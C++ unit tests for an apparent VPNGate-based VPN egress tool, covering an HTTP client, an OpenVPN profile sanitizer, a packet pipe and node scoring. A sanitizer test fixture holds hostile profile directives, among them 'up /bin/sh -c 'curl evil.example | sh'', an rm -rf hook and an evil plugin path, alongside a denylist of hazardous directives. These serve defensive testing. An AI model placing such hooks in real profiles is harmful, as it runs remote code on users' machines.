// The specific reason, not a guess. A direct-mode build reporting "a switch
// is already in progress" sends an operator looking for a switch that was
// never attempted.
CHECK(detail.find("direct") != std::string::npos);
CHECK(detail.find("no tunnel") != std::string::npos);
const auto st = sw.stats();
CHECK_EQ(st.manual, uint64_t(1));
CHECK_EQ(st.requested, uint64_t(1));
CHECK_EQ(st.declined, uint64_t(1));
CHECK(st.last_trigger.find("manual") != std::string::npos);
bool done = false;
mgr.shutdown([&] { done = true; });
run_until(io, [&] { return done; }, 2s);
}
OVG_TEST(switch_controller_forwards_a_sustained_unhealthy_verdict) {
asio::io_context io;
Config cfg;
cfg.egress_mode = "direct"; // every request is declined, but still counted
cfg.health.interval = 20ms;
cfg.health.unhealthy_windows = 2;
cfg.health.probe_timeout = 100ms;
auto eg = std::make_shared<ProbeEgress>(io);
eg->connect_ec = make_error_code(Error::Timeout);
egress::EgressManager mgr(io, cfg, nullptr, nullptr, nullptr);
health::HealthMonitor mon(io, cfg.health,
[&]() -> egress::EgressPtr { return eg; });
health::SwitchController sw(io, cfg, mon, mgr);
sw.start(); // must subscribe before the monitor runs, or a verdict is lost
mon.start();
CHECK(run_until(io, [&] { return sw.stats().unhealthy > 0; }, 3s));
const auto st = sw.stats();
CHECK_GT(st.requested, uint64_t(0));
CHECK_EQ(st.tunnel_down + st.opportunistic, uint64_t(0));
CHECK(st.last_trigger.find("unhealthy") != std::string::npos);
mon.stop();
sw.stop();
bool done = false;
mgr.shutdown([&] { done = true; });
run_until(io, [&] { return done; }, 2s);
}
+260
View File
@@ -0,0 +1,260 @@
// The HTTP client is exercised against a throwaway loopback server rather than
// the real VPNGate endpoint: the tests must pass on a machine with no network,
// and the interesting cases (chunked encoding, redirect loops, byte caps) are
// hard to provoke against a live server anyway.
#include <asio.hpp>
#include <memory>
#include <string>
#include <thread>
#include "common/http_get.h"
#include "harness.h"
using namespace ovg;
namespace {
// Serves one canned response per connection, then closes.
class TinyServer {
public:
TinyServer(asio::io_context &io, std::string response)
: acceptor_(io, asio::ip::tcp::endpoint(
asio::ip::make_address("127.0.0.1"), 0)),
response_(std::move(response)) {
acceptor_.listen();
accept();
}
uint16_t port() const { return acceptor_.local_endpoint().port(); }
std::string url(const std::string &path = "/") const {
return "http://127.0.0.1:" + std::to_string(port()) + path;
}
int connections() const { return connections_; }
void stop() {
std::error_code ec;
acceptor_.close(ec);
}
// Second response, used for redirect targets.
void set_next(std::string r) { next_ = std::move(r); }
private:
void accept() {
auto sock = std::make_shared<asio::ip::tcp::socket>(acceptor_.get_executor());
acceptor_.async_accept(*sock, [this, sock](std::error_code ec) {
if (ec) return;
++connections_;
auto body = std::make_shared<std::string>(
(connections_ > 1 && !next_.empty()) ? next_ : response_);
// Read (and discard) the request line before answering; some clients get
// upset if the response arrives before they finish writing.
auto buf = std::make_shared<asio::streambuf>();
asio::async_read_until(
*sock, *buf, "\r\n\r\n",
[sock, body, buf](std::error_code, size_t) {
asio::async_write(*sock, asio::buffer(*body),
[sock, body](std::error_code, size_t) {
std::error_code ig;
sock->shutdown(
asio::ip::tcp::socket::shutdown_both, ig);
sock->close(ig);
});
});
accept();
});
}
asio::ip::tcp::acceptor acceptor_;
std::string response_;
std::string next_;
int connections_ = 0;
};
} // namespace
OVG_TEST(ParseUrlForms) {
http::Url u;
CHECK(http::parse_url("http://www.vpngate.net/api/iphone/", &u));
CHECK_EQ(u.scheme, std::string("http"));
CHECK_EQ(u.host, std::string("www.vpngate.net"));
CHECK_EQ(u.port, std::string("80"));
CHECK_EQ(u.target, std::string("/api/iphone/"));
CHECK(http::parse_url("https://example.com", &u));
CHECK_EQ(u.port, std::string("443"));
CHECK_EQ(u.target, std::string("/"));
CHECK(http::parse_url("http://example.com:8080/x?y=1", &u));
CHECK_EQ(u.port, std::string("8080"));
CHECK_EQ(u.target, std::string("/x?y=1"));
CHECK(!http::parse_url("ftp://example.com/", &u));
CHECK(!http::parse_url("example.com", &u));
CHECK(!http::parse_url("", &u));
}
OVG_TEST(HttpGetContentLengthBody) {
asio::io_context io;
TinyServer srv(io,
"HTTP/1.1 200 OK\r\n"
"Content-Length: 11\r\n"
"Content-Type: text/plain\r\n\r\n"
"hello world");
std::error_code got_ec;
http::Response got;
http::async_get(io, srv.url(), {}, [&](std::error_code ec, http::Response r) {
got_ec = ec;
got = std::move(r);
srv.stop();
});
io.run();
CHECK(!got_ec);
CHECK_EQ(got.status, 200);
CHECK_EQ(got.body, std::string("hello world"));
}
OVG_TEST(HttpGetChunkedBody) {
asio::io_context io;
TinyServer srv(io,
"HTTP/1.1 200 OK\r\n"
"Transfer-Encoding: chunked\r\n\r\n"
"5\r\nhello\r\n"
"1\r\n \r\n"
"5\r\nworld\r\n"
"0\r\n\r\n");
std::error_code got_ec;
http::Response got;
http::async_get(io, srv.url(), {}, [&](std::error_code ec, http::Response r) {
got_ec = ec;
got = std::move(r);
srv.stop();
});
io.run();
CHECK(!got_ec);
CHECK_EQ(got.body, std::string("hello world"));
}
OVG_TEST(HttpGetEofTerminatedBody) {
// HTTP/1.0-style: no Content-Length, no chunking, body ends at close. The
// VPNGate endpoint has been observed doing exactly this.
asio::io_context io;
TinyServer srv(io, "HTTP/1.1 200 OK\r\n\r\nbody-until-eof");
std::error_code got_ec;
http::Response got;
http::async_get(io, srv.url(), {}, [&](std::error_code ec, http::Response r) {
got_ec = ec;
got = std::move(r);
srv.stop();
});
io.run();
CHECK(!got_ec);
CHECK_EQ(got.body, std::string("body-until-eof"));
}
OVG_TEST(HttpGetFollowsRedirect) {
asio::io_context io;
TinyServer target(io, "HTTP/1.1 200 OK\r\nContent-Length: 2\r\n\r\nok");
TinyServer front(io, "HTTP/1.1 302 Found\r\nLocation: " + target.url() +
"\r\nContent-Length: 0\r\n\r\n");
std::error_code got_ec;
http::Response got;
http::async_get(io, front.url(), {},
[&](std::error_code ec, http::Response r) {
got_ec = ec;
got = std::move(r);
front.stop();
target.stop();
});
io.run();
CHECK(!got_ec);
CHECK_EQ(got.status, 200);
CHECK_EQ(got.body, std::string("ok"));
}
OVG_TEST(HttpGetEnforcesByteCap) {
asio::io_context io;
std::string big(64 * 1024, 'x');
TinyServer srv(io, "HTTP/1.1 200 OK\r\nContent-Length: " +
std::to_string(big.size()) + "\r\n\r\n" + big);
http::Options opts;
opts.max_bytes = 1024;
std::error_code got_ec;
http::async_get(io, srv.url(), opts,
[&](std::error_code ec, http::Response) {
got_ec = ec;
srv.stop();
});
io.run();
// Must fail rather than buffer 64 KB when told 1 KB is the limit.
CHECK(static_cast<bool>(got_ec));
}
OVG_TEST(HttpGetReportsNonOkStatus) {
asio::io_context io;
TinyServer srv(io, "HTTP/1.1 503 Service Unavailable\r\n"
"Content-Length: 3\r\n\r\nnah");
std::error_code got_ec;
http::Response got;
http::async_get(io, srv.url(), {}, [&](std::error_code ec, http::Response r) {
got_ec = ec;
got = std::move(r);
srv.stop();
});
io.run();
CHECK(static_cast<bool>(got_ec));
CHECK_EQ(got.status, 503);
}
OVG_TEST(HttpGetTimesOut) {
asio::io_context io;
// Accept but never answer.
asio::ip::tcp::acceptor acc(
io, asio::ip::tcp::endpoint(asio::ip::make_address("127.0.0.1"), 0));
acc.listen();
auto held = std::make_shared<asio::ip::tcp::socket>(io);
acc.async_accept(*held, [held](std::error_code) {});
http::Options opts;
opts.timeout = std::chrono::milliseconds(200);
std::error_code got_ec;
http::async_get(io,
"http://127.0.0.1:" + std::to_string(acc.local_endpoint().port()),
opts, [&](std::error_code ec, http::Response) {
got_ec = ec;
std::error_code ig;
acc.close(ig);
held->close(ig);
});
io.run();
CHECK(static_cast<bool>(got_ec));
}
OVG_TEST(HttpGetFailsOnRefusedConnection) {
asio::io_context io;
std::error_code got_ec;
bool called = false;
http::async_get(io, "http://127.0.0.1:1/", {},
[&](std::error_code ec, http::Response) {
called = true;
got_ec = ec;
});
io.run();
CHECK(called);
CHECK(static_cast<bool>(got_ec));
}
File diff suppressed because it is too large Load Diff
+529
View File
@@ -0,0 +1,529 @@
// Profile sanitizer + packet pipe.
//
// These are the two pieces of the ovpn module that can be tested without a
// server on the other end. TunnelClient itself needs a live node and is covered
// by the end-to-end check; what is testable here is the part that decides what
// we are willing to hand openvpn3, and the part that carries IP packets to it.
#include <fcntl.h>
#include <sys/socket.h>
#include <unistd.h>
#include <filesystem>
#include <string>
#include "harness.h"
#include "ovpn/packet_pipe.h"
#include "ovpn/profile_sanitizer.h"
#include "ovpn/tunnel_client.h"
using namespace ovg;
using namespace ovg::ovpn;
namespace {
// Shaped like a real VPNGate row: SoftEther boilerplate comments, an
// AES-128-CBC/SHA1 crypto suite, an inline CA and client keypair.
std::string sample_profile() {
return
"# OpenVPN Client Config for VPN Gate\n"
"# Note: Windows users can use this file with OpenVPN Client\n"
"\n"
"dev tun\n"
"proto tcp\n"
"remote 219.100.37.1 443\n"
"cipher AES-128-CBC\n"
"auth SHA1\n"
"resolv-retry infinite\n"
"nobind\n"
"persist-key\n"
"persist-tun\n"
"client\n"
"verb 3\n"
"<ca>\n"
"-----BEGIN CERTIFICATE-----\n"
"MIIDdTCCAl2gAwIBAgIJAKp\n"
"-----END CERTIFICATE-----\n"
"</ca>\n"
"<cert>\n"
"-----BEGIN CERTIFICATE-----\n"
"MIIDaTCCAlGgAwIBAgIBATA\n"
"-----END CERTIFICATE-----\n"
"</cert>\n"
"<key>\n"
"-----BEGIN PRIVATE KEY-----\n"
"MIIEvQIBADANBgkqhkiG9w0\n"
"-----END PRIVATE KEY-----\n"
"</key>\n";
}
bool contains(const std::string &text, const std::string &needle) {
return text.find(needle) != std::string::npos;
}
bool has_line(const std::string &text, const std::string &line) {
return contains("\n" + text, "\n" + line + "\n");
}
// CHECK() only prints the expression, which is useless inside a loop over
// names. These report the offending item on both sides of the comparison.
void expect_absent(const std::string &text, const std::string &needle) {
CHECK_EQ(contains(text, needle) ? "leaked: " + needle : "absent: " + needle,
"absent: " + needle);
}
void expect_denied(const char *name, bool want) {
const std::string got =
std::string(name) + (is_denied_directive(name) ? " -> denied" : " -> kept");
CHECK_EQ(got, std::string(name) + (want ? " -> denied" : " -> kept"));
}
size_t open_fd_count() {
size_t n = 0;
for (const auto &e : std::filesystem::directory_iterator("/proc/self/fd")) {
(void)e;
++n;
}
return n;
}
} // namespace
OVG_TEST(SanitizerAcceptsARealProfile) {
SanitizedProfile sp;
std::string err;
CHECK(sanitize_profile(sample_profile(), {}, &sp, &err));
CHECK(sp.has_ca);
CHECK(sp.has_client_cert);
CHECK(!sp.wants_userpass);
CHECK_EQ(sp.remotes.size(), size_t(1));
CHECK_EQ(sp.remotes[0].host, std::string("219.100.37.1"));
CHECK_EQ(sp.remotes[0].port, 443);
CHECK(sp.remotes[0].proto == vpngate::Proto::Tcp);
// Our canonical header is present...
CHECK(has_line(sp.text, "client"));
CHECK(has_line(sp.text, "dev tun"));
CHECK(has_line(sp.text, "remote 219.100.37.1 443 tcp"));
// ...and the crypto directives we must not touch survived verbatim.
CHECK(has_line(sp.text, "cipher AES-128-CBC"));
CHECK(has_line(sp.text, "auth SHA1"));
// Inline material is preserved whole.
CHECK(contains(sp.text, "<ca>\n-----BEGIN CERTIFICATE-----"));
CHECK(contains(sp.text, "-----END PRIVATE KEY-----\n</key>"));
}
OVG_TEST(SanitizerStripsScriptHooks) {
std::string raw = sample_profile();
raw +=
"up /bin/sh -c 'curl evil.example | sh'\n"
"down /bin/rm -rf /tmp/x\n"
"tls-verify /tmp/verify.sh\n"
"plugin /tmp/evil.so\n"
"script-security 2\n"
"management 127.0.0.1 7505\n"
"http-proxy 10.0.0.1 8080\n"
"socks-proxy 10.0.0.1 1080\n"
"daemon\n"
"user root\n"
"chroot /\n"
"log /tmp/x.log\n";
SanitizedProfile sp;
std::string err;
CHECK(sanitize_profile(raw, {}, &sp, &err));
for (const char *bad : {"/bin/sh", "/bin/rm", "verify.sh", "evil.so",
"script-security", "management", "http-proxy",
"socks-proxy", "7505", "10.0.0.1", "x.log"}) {
expect_absent(sp.text, bad);
}
for (const char *line : {"daemon", "user root", "chroot /"}) {
CHECK_EQ(has_line(sp.text, line) ? std::string("leaked: ") + line
: std::string("absent: ") + line,
std::string("absent: ") + line);
}
// And every removal is reported, so an operator can see what a node tried.
CHECK(sp.dropped.size() >= 10);
}
OVG_TEST(SanitizerDeniesTheHazardousDirectives) {
for (const char *name : {"up", "down", "tls-verify", "plugin",
"script-security", "management", "http-proxy",
"socks-proxy", "daemon", "user", "group", "chroot",
"ifconfig", "push"}) {
expect_denied(name, true);
}
// The other half of the contract: a denylist that swallowed these would
// quietly break every node.
for (const char *name : {"cipher", "auth", "tls-crypt", "remote-cert-tls",
"auth-user-pass", "float", "keepalive",
"data-ciphers", "auth-nocache", "tun-mtu"}) {
expect_denied(name, false);
}
}
OVG_TEST(SanitizerPinsTheChosenRemote) {
std::string raw = sample_profile();
// A second remote the selector never scored, plus randomization to make sure
// the core would actually have used it.
raw += "remote 1.2.3.4 1194 udp\nremote-random\n";
vpngate::Remote pin;
pin.host = "219.100.37.1";
pin.port = 1195;
pin.proto = vpngate::Proto::Udp;
SanitizeOptions opt;
opt.pin_remote = &pin;
SanitizedProfile sp;
std::string err;
CHECK(sanitize_profile(raw, opt, &sp, &err));
CHECK_EQ(sp.remotes.size(), size_t(1));
CHECK(has_line(sp.text, "remote 219.100.37.1 1195 udp"));
CHECK(has_line(sp.text, "proto udp"));
expect_absent(sp.text, "1.2.3.4");
expect_absent(sp.text, "remote-random");
// The original "remote ... 443" line must be gone too.
expect_absent(sp.text, "443");
}
OVG_TEST(SanitizerDropsConnectionBlocks) {
std::string raw = sample_profile();
raw +=
"<connection>\n"
"remote 9.9.9.9 1194 udp\n"
"</connection>\n";
SanitizedProfile sp;
std::string err;
CHECK(sanitize_profile(raw, {}, &sp, &err));
expect_absent(sp.text, "9.9.9.9");
expect_absent(sp.text, "<connection>");
}
OVG_TEST(SanitizerReportsAuthUserPass) {
std::string raw = sample_profile();
raw += "auth-user-pass /etc/openvpn/creds\n";
SanitizedProfile sp;
std::string err;
CHECK(sanitize_profile(raw, {}, &sp, &err));
CHECK(sp.wants_userpass);
// The path is stripped: credentials come from provide_creds(), and leaving
// the argument would make openvpn3 try to open a file that is not there.
CHECK(has_line(sp.text, "auth-user-pass"));
expect_absent(sp.text, "/etc/openvpn/creds");
}
OVG_TEST(SanitizerDropsFileReferencedKeyMaterial) {
std::string raw = sample_profile();
raw += "tls-auth /etc/openvpn/ta.key 1\ncrl-verify /etc/openvpn/crl.pem\n";
SanitizedProfile sp;
std::string err;
CHECK(sanitize_profile(raw, {}, &sp, &err));
expect_absent(sp.text, "ta.key");
expect_absent(sp.text, "crl.pem");
// The inline material in the same profile must survive untouched.
CHECK(contains(sp.text, "<ca>"));
}
OVG_TEST(SanitizerRemovesCompressionWhenDisabled) {
std::string raw = sample_profile();
raw += "comp-lzo no\ncompress lz4\n";
SanitizeOptions opt;
opt.allow_compression = false;
SanitizedProfile sp;
std::string err;
CHECK(sanitize_profile(raw, opt, &sp, &err));
expect_absent(sp.text, "comp-lzo");
expect_absent(sp.text, "compress");
opt.allow_compression = true;
CHECK(sanitize_profile(raw, opt, &sp, &err));
CHECK(has_line(sp.text, "comp-lzo no"));
}
OVG_TEST(SanitizerRejectsUnusableProfiles) {
SanitizedProfile sp;
std::string err;
CHECK(!sanitize_profile("", {}, &sp, &err));
// TAP: layer 2 frames, which nothing downstream understands.
{
std::string raw = sample_profile();
raw.replace(raw.find("dev tun"), 7, "dev tap0");
CHECK(!sanitize_profile(raw, {}, &sp, &err));
CHECK(contains(err, "TAP"));
}
// No CA and no peer-fingerprint: nothing to authenticate the server with.
{
std::string raw = sample_profile();
const size_t b = raw.find("<ca>");
const size_t e = raw.find("</ca>") + 6;
raw.erase(b, e - b);
CHECK(!sanitize_profile(raw, {}, &sp, &err));
CHECK(contains(err, "ca"));
}
// No remote at all.
{
std::string raw = sample_profile();
const size_t b = raw.find("remote ");
raw.erase(b, raw.find('\n', b) + 1 - b);
CHECK(!sanitize_profile(raw, {}, &sp, &err));
CHECK(contains(err, "remote"));
}
// Unterminated inline block: the rest of the file would silently vanish
// into the block body.
{
std::string raw = sample_profile();
raw.replace(raw.find("</key>"), 6, "");
CHECK(!sanitize_profile(raw, {}, &sp, &err));
CHECK(contains(err, "unterminated"));
}
// Binary garbage where a profile should be.
{
std::string raw = sample_profile();
raw += "\x01\x02\x03";
CHECK(!sanitize_profile(raw, {}, &sp, &err));
CHECK(contains(err, "control byte"));
}
// Oversized.
{
SanitizeOptions opt;
opt.max_bytes = 100;
CHECK(!sanitize_profile(sample_profile(), opt, &sp, &err));
}
}
OVG_TEST(SanitizerIsCaseInsensitive) {
std::string raw = sample_profile();
raw += "UP /bin/sh\n<CONNECTION>\nremote 9.9.9.9 1194\n</CONNECTION>\n";
SanitizedProfile sp;
std::string err;
CHECK(sanitize_profile(raw, {}, &sp, &err));
expect_absent(sp.text, "/bin/sh");
expect_absent(sp.text, "9.9.9.9");
}
OVG_TEST(SanitizedOutputIsStable) {
// Sanitizing twice must be a no-op the second time round -- otherwise the
// "regenerated" set is incomplete and our own header would accumulate.
SanitizedProfile once, twice;
std::string err;
CHECK(sanitize_profile(sample_profile(), {}, &once, &err));
CHECK(sanitize_profile(once.text, {}, &twice, &err));
CHECK_EQ(once.text, twice.text);
}
// --- packet pipe -----------------------------------------------------------
OVG_TEST(PacketPipeCarriesDatagramsWithBoundaries) {
asio::io_context io;
PacketPipe pipe(io);
std::string err;
CHECK(pipe.open(256 * 1024, &err));
CHECK(pipe.is_open());
const int peer = pipe.release_peer_fd();
CHECK(peer >= 0);
CHECK(pipe.peer_released());
CHECK_EQ(pipe.release_peer_fd(), -1); // handed over exactly once
// Three writes of different sizes must arrive as three reads of exactly
// those sizes. This is the property the whole design rests on: a datagram
// socketpair preserves IP packet boundaries, a stream one would not.
const std::string a(40, 'a'), b(1, 'b'), c(1400, 'c');
CHECK(pipe.send_packet(a.data(), a.size()) == PacketPipe::SendStatus::Ok);
CHECK(pipe.send_packet(b.data(), b.size()) == PacketPipe::SendStatus::Ok);
CHECK(pipe.send_packet(c.data(), c.size()) == PacketPipe::SendStatus::Ok);
char buf[4096];
for (const std::string *expect : {&a, &b, &c}) {
const ssize_t n = ::recv(peer, buf, sizeof(buf), 0);
CHECK(n >= 0);
CHECK_EQ(std::string(buf, static_cast<size_t>(n)), *expect);
}
const auto ctr = pipe.counters();
CHECK_EQ(ctr.tx_packets, uint64_t(3));
CHECK_EQ(ctr.tx_bytes, uint64_t(a.size() + b.size() + c.size()));
CHECK_EQ(ctr.tx_dropped, uint64_t(0));
::close(peer);
}
OVG_TEST(PacketPipeReadsWhatThePeerWrites) {
asio::io_context io;
PacketPipe pipe(io);
std::string err;
CHECK(pipe.open(0, &err));
const int peer = pipe.release_peer_fd();
CHECK(peer >= 0);
const std::string payload(700, 'x');
CHECK_EQ(::send(peer, payload.data(), payload.size(), 0),
static_cast<ssize_t>(payload.size()));
char buf[4096];
std::error_code ec;
const size_t n = pipe.socket().receive(asio::buffer(buf), 0, ec);
CHECK(!ec);
CHECK_EQ(n, payload.size());
pipe.note_received(n);
CHECK_EQ(pipe.counters().rx_packets, uint64_t(1));
CHECK_EQ(pipe.counters().rx_bytes, uint64_t(payload.size()));
::close(peer);
}
OVG_TEST(PacketPipeRejectsOversizedAndEmptyPackets) {
asio::io_context io;
PacketPipe pipe(io);
std::string err;
CHECK(pipe.open(0, &err));
const std::string huge(kMaxPacketSize + 1, 'z');
CHECK(pipe.send_packet(huge.data(), huge.size()) ==
PacketPipe::SendStatus::Dropped);
CHECK(pipe.send_packet(huge.data(), 0) == PacketPipe::SendStatus::Dropped);
CHECK_EQ(pipe.counters().tx_dropped, uint64_t(2));
CHECK_EQ(pipe.counters().tx_packets, uint64_t(0));
}
OVG_TEST(PacketPipeReportsAClosedPeer) {
asio::io_context io;
PacketPipe pipe(io);
std::string err;
CHECK(pipe.open(0, &err));
const int peer = pipe.release_peer_fd();
CHECK(peer >= 0);
::close(peer);
// Must surface as Closed, not as a SIGPIPE that kills the process. The
// first send after the peer goes away can still be accepted, so retry a
// couple of times; what matters is that we never die and that we do notice.
PacketPipe::SendStatus st = PacketPipe::SendStatus::Ok;
const std::string p(64, 'p');
for (int i = 0; i < 3 && st != PacketPipe::SendStatus::Closed; ++i)
st = pipe.send_packet(p.data(), p.size());
CHECK(st == PacketPipe::SendStatus::Closed);
}
OVG_TEST(PacketPipeDropsRatherThanBlockingWhenTheQueueFills) {
asio::io_context io;
PacketPipe pipe(io);
std::string err;
// Smallest buffer the kernel will grant, so the queue fills quickly.
CHECK(pipe.open(2048, &err));
const int peer = pipe.release_peer_fd();
CHECK(peer >= 0);
// Nobody is reading `peer`. A blocking write here would wedge the io_context
// thread for as long as the tunnel is congested; the contract is that we
// drop the packet instead and let TCP above notice.
const std::string p(1400, 'q');
bool saw_drop = false;
for (int i = 0; i < 10000 && !saw_drop; ++i) {
if (pipe.send_packet(p.data(), p.size()) == PacketPipe::SendStatus::Dropped)
saw_drop = true;
}
CHECK(saw_drop);
CHECK(pipe.counters().tx_dropped > 0);
::close(peer);
}
OVG_TEST(PacketPipeOwnsExactlyTheDescriptorsItShould) {
asio::io_context io;
// asio builds its epoll reactor lazily, on the first socket that registers
// with it, so a cold io_context would make the first pipe look like it cost
// more descriptors than it did. Warm it up before taking the baseline.
{
PacketPipe warmup(io);
std::string err;
CHECK(warmup.open(0, &err));
}
const size_t before = open_fd_count();
// Never released: the pipe must close both ends.
{
PacketPipe pipe(io);
std::string err;
CHECK(pipe.open(0, &err));
CHECK_EQ(open_fd_count(), before + 2);
}
CHECK_EQ(open_fd_count(), before);
// Released: openvpn3 owns the peer now, so the destructor must leave it
// alone. Closing it here would pull the tun out from under a live session.
int peer = -1;
{
PacketPipe pipe(io);
std::string err;
CHECK(pipe.open(0, &err));
peer = pipe.release_peer_fd();
CHECK(peer >= 0);
}
CHECK(::fcntl(peer, F_GETFD) >= 0);
::close(peer);
CHECK_EQ(open_fd_count(), before);
}
// --- tunnel client ---------------------------------------------------------
OVG_TEST(TunnelClientRejectsABadProfileWithoutStarting) {
asio::io_context io;
auto tc = TunnelClient::create(io, OvpnConfig{});
vpngate::Node node;
node.host_name = "broken";
node.ip = "203.0.113.9";
node.profile = "this is not an openvpn profile\n";
const vpngate::Remote r{"203.0.113.9", 443, vpngate::Proto::Tcp};
std::string err;
CHECK(!tc->start(node, r, nullptr, &err));
// The node id has to be in the message: with ~100 nodes churning, an error
// that does not say which one failed is not actionable.
CHECK(contains(err, "broken@203.0.113.9"));
CHECK(tc->state() == TunnelState::Idle);
// A rejected profile must leave no descriptor behind.
CHECK(!tc->pipe().is_open());
}
OVG_TEST(TunnelClientStateNamesAreComplete) {
for (auto s : {TunnelState::Idle, TunnelState::Connecting, TunnelState::Up,
TunnelState::Reconnecting, TunnelState::Down}) {
CHECK_NE(std::string(tunnel_state_name(s)), std::string("?"));
}
}
OVG_TEST(TunnelClientWithoutOpenvpn3FailsCleanly) {
if (TunnelClient::supported()) SKIP("built with openvpn3 linked in");
asio::io_context io;
auto tc = TunnelClient::create(io, OvpnConfig{});
vpngate::Node node;
node.host_name = "ok";
node.ip = "203.0.113.10";
node.profile = sample_profile();
const vpngate::Remote r{"203.0.113.10", 443, vpngate::Proto::Tcp};
std::string err;
CHECK(!tc->start(node, r, nullptr, &err));
CHECK(contains(err, "OVG_WITH_TUNNEL"));
CHECK(tc->state() == TunnelState::Idle);
CHECK(!tc->pipe().is_open());
}
+512
View File
@@ -0,0 +1,512 @@
// Scoring, history/backoff, and the two-phase selection.
//
// The property that matters most here is that scores are *absolute*: a node's
// score must not depend on which other nodes happen to be in the list. The
// switch controller's "beat the incumbent by 20%" rule is meaningless
// otherwise, because the incumbent's score would drift as the pool changed.
#include <asio.hpp>
#include <cstdio>
#include <filesystem>
#include "harness.h"
#include "selector/history.h"
#include "selector/prober.h"
#include "selector/scorer.h"
#include "selector/selector.h"
using namespace ovg;
using namespace ovg::selector;
using ovg::vpngate::Node;
using ovg::vpngate::Proto;
using ovg::vpngate::Remote;
namespace {
Node make_node(const std::string &name, const std::string &ip,
const std::string &cc, int64_t score, int64_t speed,
int sessions) {
Node n;
n.host_name = name;
n.ip = ip;
n.country_short = cc;
n.country_long = cc;
n.api.score = score;
n.api.speed_bps = speed;
n.api.num_sessions = sessions;
n.api.uptime_ms = 3LL * 86400 * 1000;
n.profile = "client\nremote " + ip + " 443 tcp\n";
n.remotes.push_back(Remote{ip, 443, Proto::Tcp});
return n;
}
std::string temp_path(const char *leaf) {
auto p = std::filesystem::temp_directory_path() /
("ovg_test_" + std::string(leaf));
std::error_code ec;
std::filesystem::remove(p, ec);
return p.string();
}
} // namespace
// ---------------------------------------------------------------------------
// Term shapes
OVG_TEST(TermsAreBoundedAndMonotonic) {
CHECK_EQ(terms::score_term(0), 0.0);
CHECK_LT(terms::score_term(1000), terms::score_term(1000000));
CHECK(terms::score_term(1000000000LL) <= 1.0);
CHECK_EQ(terms::speed_term(0), 0.0);
CHECK_LT(terms::speed_term(1000000), terms::speed_term(100000000));
CHECK(terms::speed_term(1000000000000LL) <= 1.0);
// Fewer sessions is better.
CHECK_GT(terms::sessions_term(0), terms::sessions_term(20));
CHECK_GT(terms::sessions_term(20), terms::sessions_term(200));
CHECK_NEAR(terms::sessions_term(0), 1.0, 1e-9);
CHECK_NEAR(terms::sessions_term(20), 0.5, 1e-9);
// Lower RTT is better; unmeasured is mediocre, not zero.
CHECK_GT(terms::rtt_term(10), terms::rtt_term(200));
CHECK_NEAR(terms::rtt_term(0), 1.0, 1e-9);
CHECK_NEAR(terms::rtt_term(100), 0.5, 1e-9);
CHECK_GT(terms::rtt_term(-1), 0.0);
CHECK_LT(terms::rtt_term(-1), terms::rtt_term(100));
CHECK_EQ(terms::uptime_term(0), 0.0);
CHECK_NEAR(terms::uptime_term(7LL * 86400 * 1000), 1.0, 1e-9);
CHECK_NEAR(terms::uptime_term(70LL * 86400 * 1000), 1.0, 1e-9); // clamped
}
OVG_TEST(ScoreIsAbsoluteNotSetRelative) {
// The same node must score identically whether it is ranked alone or among
// much better company. This is what makes the switch hysteresis meaningful.
SelectorConfig cfg;
Scorer scorer(cfg);
HistoryStore history("", cfg);
const Node target = make_node("target", "1.1.1.1", "JP", 500000, 50000000, 30);
std::vector<Node> alone{target};
std::vector<Node> crowded{
target,
make_node("giant", "2.2.2.2", "JP", 9000000, 900000000, 1),
make_node("tiny", "3.3.3.3", "JP", 10, 100, 900),
};
auto a = scorer.rank_by_prior(alone, history);
auto b = scorer.rank_by_prior(crowded, history);
CHECK_EQ(a.size(), size_t(1));
CHECK_EQ(b.size(), size_t(3));
double crowded_target = -1;
for (const auto &s : b)
if (s.node->host_name == "target") crowded_target = s.score;
CHECK_NEAR(a[0].score, crowded_target, 1e-12);
}
OVG_TEST(RankOrdersBetterNodesFirst) {
SelectorConfig cfg;
Scorer scorer(cfg);
HistoryStore history("", cfg);
std::vector<Node> nodes{
make_node("weak", "1.1.1.1", "JP", 100, 1000000, 400),
make_node("strong", "2.2.2.2", "JP", 5000000, 500000000, 5),
make_node("middling", "3.3.3.3", "JP", 200000, 20000000, 60),
};
auto ranked = scorer.rank_by_prior(nodes, history);
CHECK_EQ(ranked.size(), size_t(3));
CHECK_EQ(ranked[0].node->host_name, std::string("strong"));
CHECK_EQ(ranked[2].node->host_name, std::string("weak"));
}
OVG_TEST(CountryFiltersApply) {
SelectorConfig cfg;
cfg.country_allow = {"JP", "KR"};
Scorer scorer(cfg);
HistoryStore history("", cfg);
std::vector<Node> nodes{
make_node("jp", "1.1.1.1", "JP", 100, 1000, 1),
make_node("kr", "2.2.2.2", "KR", 100, 1000, 1),
make_node("ru", "3.3.3.3", "RU", 900000, 900000000, 1),
};
auto ranked = scorer.rank_by_prior(nodes, history);
CHECK_EQ(ranked.size(), size_t(2));
SelectorConfig deny;
deny.country_deny = {"RU"};
Scorer s2(deny);
CHECK_EQ(s2.rank_by_prior(nodes, history).size(), size_t(2));
}
OVG_TEST(NodeWithNoRemotesIsFilteredOut) {
SelectorConfig cfg;
Scorer scorer(cfg);
HistoryStore history("", cfg);
auto broken = make_node("broken", "1.1.1.1", "JP", 900000, 900000000, 1);
broken.remotes.clear();
std::vector<Node> nodes{broken};
CHECK_EQ(scorer.rank_by_prior(nodes, history).size(), size_t(0));
}
OVG_TEST(BackedOffNodesSinkToTheBottom) {
SelectorConfig cfg;
Scorer scorer(cfg);
HistoryStore history("", cfg);
std::vector<Node> nodes{
make_node("good", "1.1.1.1", "JP", 5000000, 500000000, 1),
make_node("meh", "2.2.2.2", "JP", 100, 1000, 300),
};
// Fail the strong node repeatedly; it must still be *returned* (as a last
// resort) but ranked last.
for (int i = 0; i < 3; ++i) history.record_failure(nodes[0].id());
CHECK(history.is_backed_off(nodes[0].id()));
auto ranked = scorer.rank_by_prior(nodes, history);
CHECK_EQ(ranked.size(), size_t(2));
CHECK_EQ(ranked[0].node->host_name, std::string("meh"));
CHECK(ranked[1].backed_off);
}
// ---------------------------------------------------------------------------
// History
OVG_TEST(HistoryUnknownNodeIsNeutral) {
SelectorConfig cfg;
HistoryStore h("", cfg);
const auto s = h.get("nobody@0.0.0.0");
CHECK_NEAR(s.success_rate(), 0.5, 1e-12);
CHECK(!h.is_backed_off("nobody@0.0.0.0"));
}
OVG_TEST(HistoryTracksSuccessAndFailure) {
SelectorConfig cfg;
HistoryStore h("", cfg);
h.record_success("n@1", 50);
h.record_success("n@1", 70);
h.record_failure("n@1");
const auto s = h.get("n@1");
CHECK_EQ(s.successes, uint32_t(2));
CHECK_EQ(s.failures, uint32_t(1));
